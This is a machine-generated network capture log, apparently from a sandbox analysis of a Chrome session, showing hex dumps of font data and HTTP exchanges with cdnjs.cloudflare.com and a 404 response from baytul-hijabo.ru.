2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 72 49 2e c5 55 b8 2a 2f e3 4d bc 9d f7 f2 31 3e c9 67 f9 12 df e2 07 fc 98 a9 1f e7 16 79 ec d9 25 8f 14 94 52 52 6e 55 cd a4 b5 74 90 ae d2 5d fa b0 a1 d1 32 4e 26 c9 14 99 25 2b 65 b5 6c 66 fc e4 dc ae 6d f5 41 42 b6 fc 29 6a 6f f2 1f f1 90 10 c9 e7 cc 8d 7c 28 88 72 5f a6 09 5a a2 2d 3a a2 0f fa 61 10 86 62 3c 26 63 1a 66 62 3e 96 b1 f1 9b b0 15 db b1 07 07 70 02 67 70 01 97 70 15 d7 71 07 f7 d9 ea 15 02 3d b3 5b b8 8b ea 62 f4 13 b9 a4 2e c5 bc f1 50 bc 3f f5 e7 ec 9f f3 e6 72 fc ef 6a fe 7f f8 ff 83 ff ef fc 7f e3 ff 6b f8 63 13 a6 40 e9 02 45 0b 14 8c df e2 fd 78 31 1e 8f c7 e2 8e b8 2d 6e 8d 9b e3 06 20 2e 8c b3 e3 8c 58 29 96 8e 25 62 9e 98 2e a6 f4 ff fd b3 bf f6 47 7e c3 cf f8 69 3f e0 3b 7d 9b 6f f2 8d be c1 57 f8 62 5f e8 b3 7c 82 f7 f4 ae de Data Ascii: rI.U*/M1>gy%RRnUt]2N&%+elfmAB)jo\|(r_Z-:ab<&cfb>pgppq=[b.P?rjkc@Ex1-n .X)%b.G~i?;}oWb_\|
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: b3 00 e3 43 7b f1 70 cf 22 0c 69 bf 79 6f 57 77 e9 2e 1c f2 43 a6 3f 5b 5a 83 b3 6a 52 78 3a 5a 87 7a 1c ff c4 b4 e3 c0 8e 01 3b 04 6c 2f 3c 4a df c3 15 dc 41 69 f5 e4 af 6b 43 38 89 8c 1a 34 a6 09 4d 69 46 73 5a d0 92 56 b4 a6 0d 6d 69 47 7b 3a d0 91 12 65 aa c8 a9 a6 42 50 d0 89 ce 74 a1 2b dd e8 4e 0f 7a 72 2d f7 d8 e5 76 85 5d 69 d7 d9 f5 76 93 dd 62 b7 da 5d 76 9f 3d 61 4f da 53 f6 96 bd 6f 1f d8 87 f6 91 7d 6c 9f d8 a7 f6 b9 7d 61 5f da 37 f6 ad 7d 67 3f d9 cf f6 8b fd 6a 7f da 0c 9b 63 8b 6c b1 ad b2 d5 42 35 d5 5c 2d d5 56 b9 ba ab 87 7a a9 bf 06 68 a0 86 6a b8 c6 6a 9c c6 6b 92 26 6b 8a a6 6a 5b 6d a7 1d b4 93 76 d5 b1 3a 59 a7 ea 0c 9d ad 0b 74 a1 2e d2 c5 ba 44 97 ea 32 5d ae eb 74 bd 6e d3 ed ba 57 8f e8 49 bd a9 77 f4 a1 be d0 57 fa 4d 7f ea Data Ascii: C{p"iyoWw.C?[ZjRx:Zz;l/<JAikC84MiFsZVmiG{:eBPt+Nzr-v]ivb]v=aOSo}l}a_7}g?jclB5\-Vzhjjk&kj[mv:Yt.D2]tnWIwWM
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 6f 0d 3b 51 ef 08 3b 53 ef 0a bb 50 1f bc 1c bb 52 1f 43 7d 6c ff ab ae 4f 77 39 f6 a0 be 88 fa e2 3e 57 5d df 20 ec 4d 7d 07 ec 43 fd 08 ec 4b fd 0c ec 47 fd 02 ec 4f fd 36 1c 40 fd 2e 1c 48 fd 3e 1c 44 fd 3d 1c 4c fd 33 1c 42 fd 1b 1c 4a fd 1f 1c 46 6f f0 08 0e a7 37 15 bd a9 71 04 bd 59 81 a3 e8 2d 0a 47 d3 3b 11 8e a1 77 09 1c 4b ef 7e 38 8e de c3 70 3c bd 67 e1 04 7a 2f 8d e0 44 7a af d2 7b 0d 27 d1 fb 02 38 85 de b7 70 2a 7d 93 c3 69 f4 dd 3e 82 d3 e9 bb 93 be bb 70 06 7d bf 02 67 d1 2c 02 67 d3 2c 3b 82 73 68 96 a7 59 01 e7 d2 ec 02 9c 4f b3 f7 57 74 01 cd 7e 34 fb e3 42 9a 83 68 0e c6 c5 34 67 00 97 d2 9c 03 97 d1 5c fb 15 5d 4e 73 03 cd ad b8 82 e6 76 9a 3b 70 1d cd dd 2c c7 0d 34 f7 d2 bc d2 cf fd 89 9a d7 68 3e c3 93 34 15 cd 17 78 8b e6 2b 9a Data Ascii: o;Q;SPRC}lOw9>W] M}CKGO6@.H>D=L3BJFo7qY-G;wK~8p<gz/Dz{'8p*}i>p}g,g,;shYOWt~4Bh4g\]Nsv;p,4h>4x+
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 65 d3 88 58 87 b2 39 65 0b 62 5d ca 61 48 37 37 e5 f0 88 6e 1e ca d1 94 63 88 f5 29 a7 22 b1 21 e5 aa 82 d8 88 f2 30 e5 91 f1 58 5e 1e 53 62 53 ca 53 12 9b 51 9e 8b 88 cd 29 2f 51 5e 21 b6 a0 bc 86 c4 d6 94 8f 24 b6 a1 7c 2a b1 2d e5 2b 89 ed 28 3f 45 c4 f6 94 bf 28 7f 13 3b 50 fe 45 fa 33 29 ff 4b ec 44 1d 24 b1 33 75 54 89 5d a8 93 4b ec 4a 9d 52 62 37 ea 54 05 31 15 75 76 ea 9c 4f e7 f2 3a b7 05 b1 17 75 3e ea fc cf e0 f2 ba a0 12 fb 52 17 91 d8 8f ba 98 c4 fe d4 25 24 0e a0 2e 25 71 20 75 19 89 83 a8 2b 48 1c 4c 5d 59 e2 10 ea aa 12 87 52 d7 90 38 8c ba 6e 41 1c 4e dd 90 ba d1 b8 37 af 9b 18 11 47 51 37 a3 6e 4e 1c 4d dd 9a 92 71 2c 75 5b ea 4e c4 71 d4 5d a9 bb 13 a7 50 f7 24 22 4e a7 ee 43 dd 8f 38 83 7a 10 05 dd 42 d4 83 a9 87 dc 5b 2c 51 0f a3 1e Data Ascii: eX9eb]aH77nc)"!0X^SbSSQ)/Q^!$\|*-+(?E(;PE3)KD$3uT]KJRb7T1uvO:u>R%$.%q u+HL]YR8nAN7GQ7nNMq,u[Nq]P$"NC8zB[,Q
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 11 85 16 c4 65 14 5a 12 57 a0 d0 9a 78 8f 42 1b e2 4b a0 d0 9e f8 51 28 74 26 f6 01 14 ba 10 73 0b 0a 3d 88 1f 87 c2 58 a2 7f 50 98 40 dc 01 14 26 7a 3c ac 92 f8 d1 28 ac 21 ae 1e 0a db 88 ed 87 c2 4e 62 1f 47 61 17 71 dd 50 38 9c e8 63 14 8e 20 e6 55 14 ce 24 e6 4a 14 ce 25 f6 3e 14 ce 27 76 09 0a 97 10 9d 84 c2 a5 c4 ec 40 e1 5a a2 cb 51 b8 8e d8 3f 51 b8 99 b8 f3 51 b8 83 d8 4f 51 b8 9b e8 58 14 1e 23 76 1b 0a 8f 13 33 0b 85 27 88 ef 8c c2 93 c4 7d 87 c2 d3 c4 cd 46 e1 19 a2 bf 50 78 8e d8 83 28 bc 40 dc 36 14 5e 26 e6 13 14 5e 23 f6 68 14 de 24 f6 28 14 de 22 ee 2b 14 de 21 6e 37 0a ef 13 77 39 0a 1f 12 77 3b 0a 9f 11 9d 8b c2 17 c4 5c 83 c2 d7 c4 f4 47 e1 3b e2 c6 a1 f0 23 71 06 85 48 74 19 0a 87 88 ae 45 d1 11 f7 3a 8a a5 88 7b 19 c5 d2 c4 bd 8d 62 Data Ascii: eZWxBKQ(t&s=XP@&z<(!NbGaqP8c U$J%>'v@ZQ?QQOQX#v3'}FPx(@6^&^#h$("+!n7w9w;\G;#qHtE:{b
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 92 f8 e3 68 f4 34 e2 9f 8b 46 4f 27 de 2c 34 7a 39 31 6f a0 d1 1b 89 f1 d1 e8 33 c4 ff 19 8d ae fd 4f 8a b9 98 12 4c b5 b5 5c 6d ca 44 24 6c c8 30 e4 79 90 d7 b3 9e b4 d1 d7 a8 67 41 9e d6 d3 9e 2c c8 fb 1a 7d 69 96 0f 34 f3 2c 6b e6 9b 67 b5 b4 96 f6 64 e5 a0 1c 6c 9e 0d d6 07 eb 3d 0b 5b ad 56 ab fe e4 93 4f b6 46 96 8f 8c 8c 8c 34 9e 7c f2 c9 91 d6 e4 0f 8a e2 44 9b 25 71 24 45 71 32 f9 55 12 47 9a 5d 14 45 31 f9 df ec a2 68 17 45 a1 ce a2 5d 14 dd 49 1c 49 51 9c 4c 1e 92 c4 91 14 c5 89 6e 03 f0 a6 fe 9d fa 8a 9d 75 1b 55 b6 80 e9 33 ea 59 36 d8 b7 45 50 ae f6 64 49 5a 6b 0c e5 cd e1 1e bf 99 37 eb 83 f5 72 50 4e 6b e9 c2 30 8c e3 30 0c c3 38 0e c3 cd d2 ce 4a a5 33 4d 3b 2b 95 ce 54 cb e3 30 0c c3 78 8a 38 0c c3 30 16 93 87 68 7a 92 4c 97 a6 27 c9 74 Data Ascii: h4FO',4z91o3OL\mD$l0ygA,}i4,kgdl=[VOF4\|D%q$Eq2UG]E1hE]IIQLnuU3Y6EPdIZk7rPNk008J3M;+T0x80hzL't

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49768	104.17.24.14	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:58 UTC	654	OUT	GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-brands-400.woff2 HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://baytul-hijabo.ru sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:58 UTC	979	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:58 GMT Content-Type: application/octet-stream; charset=utf-8 Content-Length: 116672 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: "656632a7-1c7c0" Last-Modified: Tue, 28 Nov 2023 18:34:15 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 422296 Expires: Mon, 20 Oct 2025 15:25:58 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=40qSfCVIaXzoNOYH24Bw5GtfWXiZbVOZF9kp%2FCduQQutPUjwY1tIGWVRMvMfRj55stSBCh%2BRTnUzSsCh%2FIC2RVipyZQ2hmVx%2BVOxQyHbKee9gbvgN2RERL9PjlrLFvnVX7SUZYgn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8dac6bc6fa290bfb-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:58 UTC	390	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 c7 c0 00 0a 00 00 00 03 0e 91 00 01 c7 73 03 05 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 36 02 24 04 20 06 60 03 90 48 00 a5 56 ca 8b cc 10 cb 90 4c 05 88 1d 07 20 25 48 87 71 6a 08 dd 30 3d 00 00 b4 fa 79 50 46 f4 a4 d5 e2 01 50 55 55 4f 09 61 5e db f6 2a 20 fc f4 cb 6f 7f fc e5 6f ff f8 d7 7f fe f7 97 81 b1 3b 20 96 ed b8 9e 6f f8 ff 7e bf d7 75 f6 7f 2f c0 ec 62 93 f6 96 59 d6 75 2a e3 4b b7 a0 aa be 90 11 32 aa 80 77 fc 1f 5f 09 e8 82 70 96 d8 b4 ac 9d e8 31 d1 6e 2f a2 ce 8b 98 d3 09 2f 46 92 a3 74 f6 e5 01 e4 4f ec 65 2e d2 89 3a 81 e8 d4 dd b9 c9 3f 01 9e a7 9c e6 fb ce c6 aa bc 96 42 b2 55 e0 80 0a 34 01 a9 84 47 22 bb 40 37 e0 1b 91 4a c0 49 f6 54 5a 42 9e 91 c7 cb ff 87 33 fd 9f 3b a0 11 Data Ascii: wOF2s6$ `HVL %Hqj0=yPFPUUOa^* oo; o~u/bYu*K2w_p1n//FtOe.:?BU4G"@7JITZB3;
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 67 95 35 16 76 17 95 45 34 79 e0 81 1f 44 43 74 91 10 31 62 7c e2 2f 01 12 f2 95 e8 d7 24 c4 9d d8 bc ff 1f a7 e5 bf fb 24 bd 27 59 b2 08 6d d9 92 2c c9 b1 e3 c4 b2 ad c8 c1 81 74 93 81 cd 2c 36 8b 90 a5 4e 69 b6 e5 f9 29 21 66 97 e7 b4 b3 2d 4f 11 3e 20 27 3f cf cf 9a 7f cf d5 a7 92 bc 98 bc c9 4c 32 93 97 e4 e5 65 44 57 d9 65 97 15 63 59 d8 c5 a5 e2 f3 ff 87 2a d4 a9 d3 42 9d f6 0b fd 0a d5 2d 35 a3 d4 8c 2f 66 19 ff ff 69 9a de f7 ff cc ff 33 ac 61 69 24 db b2 25 5b 36 cb 80 4b f6 02 60 80 c0 61 07 78 83 ec b6 09 3b 05 4c d8 a7 71 4e 5d 76 79 0b ec 02 6f 43 08 ff cf f3 67 fe 3a bb 33 05 a7 f2 ad 94 49 95 0a 1c 64 a0 97 9f bc 5a fa 94 fc ef 7b 2b ad f6 40 02 65 46 56 f7 cc b4 d4 39 32 46 c8 75 81 a3 e5 56 69 db d7 39 f7 fd c5 7d ef 7f b3 79 df 3d 16 df Data Ascii: g5vE4yDCt1b\|/$$'Ym,t,6Ni)!f-O> '?L2eDWecY*B-5/fi3ai$%[6K`ax;LqN]vyoCg:3IdZ{+@eFV92FuVi9}y=
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 21 a8 00 1d a1 07 f4 84 5e d0 1b fa 40 5f e8 07 fd 61 00 0c 84 41 30 18 86 c0 50 18 06 c3 61 04 8c 84 51 30 1a c6 c0 58 18 07 e3 61 02 4c cc 57 22 5f ab 7c ad f3 b5 c9 d7 2e df 6a cd 4f 8b d0 1c 5a 56 ad 81 d6 52 6b a7 cd d2 e6 39 ff 27 3e 4b aa 9e d4 3d e9 7d b2 92 5c 31 b9 61 f2 fa e4 8d c9 db 52 4a a4 0c 4f 39 92 72 57 0f d2 e3 f5 42 7a 31 bd 8a 5e c3 e8 67 0c 30 66 18 8b 8c 15 c6 46 e3 b5 e1 c4 08 cc 8f 05 b1 2c 56 c6 36 d8 11 fb e2 00 1c 88 43 71 04 8e c4 d1 38 15 a7 e3 2c 5c 8c ab 70 1d 6e c4 2d 78 00 cf e2 15 7c 84 6f f1 07 fe 45 13 d3 c8 4e 01 24 28 9a 8a 53 49 2a 47 55 a9 31 75 a5 1e 34 88 86 d2 70 9a 4a 33 68 01 ad a0 55 b4 9a d6 d3 46 da 43 07 e9 10 1d a1 53 74 8e ee d0 07 fa 42 1a 77 e6 31 3c 85 55 9e cd f3 78 29 af e5 0d bc 95 77 f1 09 be cc Data Ascii: !^@_aA0PaQ0XaLW"_\|.jOZVRk9'>K=}\1aRJO9rWBz1^g0fF,V6Cq8,\pn-x\|oEN$(SI*GU1u4pJ3hUFCStBw1<Ux)w
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 0b df 99 63 35 16 2d 33 c7 ea 2c da 66 8e 35 58 f4 e9 1c 6b b2 b8 fd 1c 6b b1 78 d6 1c 6b b3 78 b5 39 d6 61 f1 a5 73 ac cb e2 cb e7 58 8f c5 d7 8c 61 7d 96 4c 60 c9 44 6c c0 92 7d 68 4c 1b b1 e4 0e 96 dc 85 8d 59 f2 12 4b 5e c6 69 dc a8 f0 18 b6 a0 d1 83 46 6f 6c 49 63 34 0d b1 2d 8d b1 34 c6 63 b8 ab 31 9b c6 dc a3 ab b1 0c 8d 65 f1 18 37 77 7e cc d1 86 e6 ae 43 b4 a6 79 2c cd e3 f0 19 37 cf e0 39 f6 a0 79 de 10 7b d2 bc 94 e6 e5 98 ec 6a be 47 f3 43 dc c5 cd 05 c7 1c 07 92 3a cf 71 10 69 c4 1c 5d 48 a3 be f2 a5 96 71 9a c6 43 1c 4c 9a 4d 9a 83 b5 38 6d c8 73 b4 24 6d 36 c7 61 a4 9d c6 08 b7 90 76 26 ed 8a c3 49 bb 11 ca e3 ef 4e da 0b 47 91 f6 21 ed 8b e3 48 fb f1 1e 3a 9e b4 3f e9 00 9c 40 3a 94 74 14 4e 22 1d 43 3a 16 67 90 4e a0 31 9c 45 3a 95 74 26 Data Ascii: c5-3,f5Xkkxkx9asXa}L`Dl}hLYK^iFolIc4-4c1e7w~Cy,79y{jGC:qi]HqCLM8ms$m6av&ING!H:?@:tN"C:gN1E:t&
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 9e ef 38 39 f7 cc 29 37 2f 29 15 4a ea 37 af 66 9d 7c a9 54 ba b5 74 ab d4 c3 27 c4 76 e4 c1 13 2e e7 50 a2 89 ec f8 6f 49 f5 b5 39 e1 72 13 57 5a 9e 8c c7 e3 f1 73 65 d3 b3 e7 53 d8 82 29 7a 35 42 7e 5f 69 1d 85 a1 ee 67 9b 3a d2 4a 47 2a e2 06 37 d2 54 27 dc f0 4a 16 29 a5 fb b8 11 7d 7d 6e f0 50 07 dc 88 bb 69 32 18 e8 cd 78 53 c7 5a eb 24 fd df 15 b6 4e 55 54 e4 be 7d a4 24 4d b5 d6 9b 75 ae 49 91 17 03 bd 55 e4 d9 c4 b5 2c 4c 60 53 72 13 13 c7 76 37 36 9b 0b 40 28 76 aa 9a 40 a4 aa 41 e4 0a c3 f0 2a b5 a0 ba aa ff 51 10 c0 af d5 43 c1 28 33 84 23 bd 30 2c eb 46 0d 63 42 ec 9a 26 51 b5 1a 44 52 72 e6 fb b5 40 59 96 0b 53 cb 72 97 c0 24 8e ed 4a ce b1 c9 a5 28 97 98 c1 4b 02 98 69 0a b7 de 68 2f fa be 6d 92 8e 6b 59 96 e5 c6 84 73 cb 10 42 0a ca 18 37 Data Ascii: 89)7/)J7f\|Tt'v.PoI9rWZseS)z5B~_ig:JG7T'J)}}nPi2xSZ$NUT}$MuIU,L`Srv76@(v@AQC(3#0,FcB&QDRr@YSr$J(Kih/mkYsB7
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: de fe ec e1 55 f1 bb f7 ff 0f 86 a0 94 71 21 c4 6c ea 01 78 30 12 42 70 78 8e 10 82 df 76 1b 17 42 08 4a d9 c4 f6 7d 7b c2 28 15 31 52 55 46 23 f8 14 8c 50 88 56 b2 b6 d3 77 22 51 27 b3 dc 7d 27 d4 d8 cd 5c e1 60 83 38 eb 6c 22 db 0c b7 e7 9b a6 7f c1 03 46 b5 66 30 ce a3 f7 8d 9a 38 c4 34 c3 29 ed a1 82 f6 78 e5 89 84 51 2a 80 cf 1e cb e2 1b 60 f4 e7 66 36 7d 7c 8c ca f3 3d d8 84 09 3a 84 2e c2 63 46 ff 38 d4 51 a0 27 96 12 a7 e2 7c 80 c8 ec 15 26 d2 6e f7 73 d9 31 70 b2 69 76 16 56 52 60 03 47 9d fd 0b a5 72 5b 27 43 d8 7c 52 92 04 8d b9 9b 76 fd 85 fa 26 94 d5 89 20 cd 46 65 61 a1 43 9b b4 14 e1 19 53 90 2b 3b 62 84 e6 53 8c 60 8a 4e a2 9b 10 02 16 b1 14 a9 48 a1 29 f8 f2 81 94 fc db b0 0e 32 0f 36 66 44 b3 33 c3 10 43 1e 21 49 93 54 25 3c 73 3d ba 32 Data Ascii: Uq!lx0BpxvBJ}{(1RUF#PVw"Q'}'\`8l"Ff084)xQ*`f6}\|=:.cF8Q'\|&ns1pivVR`Gr['C\|Rv& FeaCS+;bS`NH)26fD3C!IT%<s=2
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 8c 3d fe cc 53 3b 70 35 c1 e6 d5 cb b5 2a e0 e5 7d 87 cf 4e d6 75 55 04 10 a9 2e 18 85 d3 c0 1a be b6 23 8f f3 52 6f 29 5e 3f bc 6f 19 ef 4d 20 52 dd ae 8a c0 f7 c8 ff 0c 76 e0 43 e8 69 a9 04 97 5b 56 9b 3a ca 0a 94 d8 33 af b5 7b ec 62 a6 42 26 dc eb 22 fb 4d bd 07 b8 cc 82 d2 a9 9f 5f 46 b0 a9 25 69 a1 b9 4e f8 13 9b 94 30 2a 17 0f 60 a8 35 ea aa ea 4a c3 1d 16 27 fc 6a 2d 60 14 83 34 47 3e 28 8e e4 16 40 e0 07 72 bb 7d 9f 7f e2 dc 6e bb c3 e2 84 13 46 42 72 83 50 c7 91 76 10 d8 8c 6d b7 e1 3a d9 08 2c db aa b8 c0 2d bb 54 5e 6c 2e 8d aa 91 20 26 e7 18 80 09 47 4a 83 51 4c c0 e0 06 36 dd 8f 22 63 23 a5 04 30 7a e4 c7 95 dc 20 84 50 dc 6a 99 25 fe f0 f0 63 98 a0 18 93 0c 44 9e 14 85 84 82 08 ca 45 13 ec 91 9a 72 d0 67 ca e7 18 dc ef 09 97 7c cb 12 e6 f4 Data Ascii: =S;p5}NuU.#Ro)^?oM RvCi[V:3{bB&"M_F%iN0`5J'j-`4G>(@r}nFBrPvm:,-T^l. &GJQL6"c#0z Pj%cDErg\|
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 9a 8d 46 58 2f 71 d3 ae 54 02 e8 76 fb 44 6f 9e 37 d2 9b 44 df 57 4e 61 0a 53 74 0c 21 5f a5 83 4f 18 2c 1f 59 14 7a a0 b9 0e 75 a1 07 3a 57 6a 50 9d c5 df 51 ba d0 d5 20 a6 e4 0b 40 85 5a e9 81 4e 75 f8 3f 27 4f 9e a4 f4 0c a3 bb 94 9e fc d6 65 98 9d 61 60 9c bc ec 5b df ba ec a4 01 ec 0c c3 97 7d 0b 9e b4 be be 4e e9 01 8c 0f 50 ba 7e fa 25 ff be 7e 93 81 0f 60 76 96 c1 c6 fa 4b 5e b2 be 01 ec 2c c3 07 b0 71 d3 fa bf bf e4 34 42 88 20 34 f7 03 d6 55 50 0d e5 08 f5 04 b4 89 f1 95 5b 69 92 f6 3c cf eb 68 8f 70 41 1b 0f ea f5 0e 8e cc 7e a0 0b 58 71 64 e0 4a 29 83 50 ba 86 e1 cc 7e 0c d3 8b 06 83 01 94 97 1b 51 28 1c 47 84 51 bd ec 4a 71 e0 f3 86 94 41 24 5d d7 0d 85 e3 18 ff 3c 1b c1 74 3e c6 7d d5 86 2b 23 b5 b0 10 29 29 19 13 97 89 2b 7d c5 af b8 84 40 Data Ascii: FX/qTvDo7DWNaSt!_O,Yzu:WjPQ @ZNu?'Oea`[}NP~%~`vK^,q4B 4UP[i<hpA~XqdJ)P~Q(GQJqA$]<t>}+#))+}@
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 00 7e 1c fb 87 8c c3 86 e9 38 66 70 c7 1d 77 dc f1 ca ed 67 08 31 09 d9 1d 47 dc 15 ee c2 13 78 12 df 8d 67 f0 0b f8 3d 6a d2 88 a6 84 8c 8a a4 c8 e7 92 6e b9 50 33 35 0b 9a ab b2 42 a5 2a 5f 0f e5 db 01 79 db ec f6 c2 66 92 35 93 2a 2d 8a 0a ea 48 25 b2 cb 03 17 a5 4a b3 f5 b9 91 54 a1 12 f2 e7 27 6a 12 25 49 a2 86 7f e4 27 9b 64 52 a5 ef 9d 50 4e a2 8b 98 b2 44 85 52 0e 53 77 12 15 47 81 7e 31 51 61 f4 ec cb e4 f2 43 3e 86 d5 db 81 ea b6 b0 3d 89 92 c7 ce 34 99 96 60 30 46 a5 a6 c9 44 25 2a 2e a7 55 a5 16 65 a2 a4 76 63 5a 3e cd 9d 57 6a 56 2e aa 46 a1 de 0e 14 b7 4d 17 66 65 f5 a8 f3 4b 3d e3 a2 60 72 6b e6 b3 42 e6 d2 41 66 31 0d c9 8b 52 4d e7 73 35 93 3e 34 50 04 c7 c2 f5 99 96 4a 48 f7 4b f7 a2 52 2a 4e b2 d1 d5 a5 8a 93 a2 92 a8 3a ed 9c 42 5e 15 Data Ascii: ~8fpwg1Gxg=jnP35B_yf5-H%JT'j%I'dRPNDRSwG~1QaC>=4`0FD%.UevcZ>WjV.FMfeK=`rkBAf1RMs5>4PJHKRN:B^
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 7f 79 d1 8b 5e f4 c2 a7 b6 bf b5 7d d3 f7 be f7 bd 7f f9 e5 77 bf fb dd 6f 43 8a 0f 5d 5a cc bf 0a ff 05 df 42 4f 40 a8 97 0c b4 de f2 5e f1 62 82 8e 6e c6 04 ae b0 c6 dc 12 78 11 a9 13 f0 01 83 ad 41 32 15 0d c4 25 d8 58 5f 14 c0 9f 76 3c cf 71 9a ad d5 0b cf 3b 6f 41 62 22 29 75 aa aa d5 c5 38 ea b6 30 76 a4 a4 18 db 96 69 db e5 b2 5b 62 98 38 9e e7 3a 04 07 65 e1 18 06 00 70 a3 cc ad 52 c5 0f 03 21 4b 1c 53 29 84 00 db 76 38 7d e2 62 ab d5 5b 5d 5d ed 74 dd 60 b1 79 fe 52 d2 6a 38 4e d2 6c f9 91 65 01 f6 00 18 37 0d 4a c3 7a 3d f4 6c ab e2 59 84 f9 81 ef 87 f5 4e ad cc 0d af ec 12 e6 56 2a 96 59 e2 b6 5f 2e 03 8b 54 c5 24 84 73 8c 85 6d 5b 26 a5 08 21 86 d0 9c b7 32 b4 84 5a 68 1b 9d 44 bb 08 f5 44 58 40 ba d8 2a 9d f6 ce 8b 4e a7 03 d0 c0 81 68 7d fe Data Ascii: y^}woC]ZBO@^bnxA2%X_v<q;oAb")u80vi[b8:epR!KS)v8}b[]]t`yRj8Nle7Jz=lYNVY_.T$sm[&!2ZhDDX@Nh}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49771	104.21.11.102	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:59 UTC	589	OUT	GET /favicon.ico HTTP/1.1 Host: baytul-hijabo.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://baytul-hijabo.ru// Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:59 UTC	837	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 15:25:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: private, no-cache, max-age=0 pragma: no-cache vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZKlDjR7eYb5YbCTRe%2FBwGO%2BawAzhOCUCnHLSRE5AjQ3BjOvcY3dWxYNaxD9B9M4G1r1j5wMCiahEf%2FjDwu6H0BtyKRn8EiYRLieUeQZYnv3W49s0eiGB2r6Mnm8gAz9c3Jo9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac6bce6d534614-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1179&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1167&delivery_rate=2327974&cwnd=32&unsent_bytes=0&cid=2801f80975e8bf47&ts=544&x=0"
2024-10-30 15:25:59 UTC	532	IN	Data Raw: 34 65 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f Data Ascii: 4e0<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</
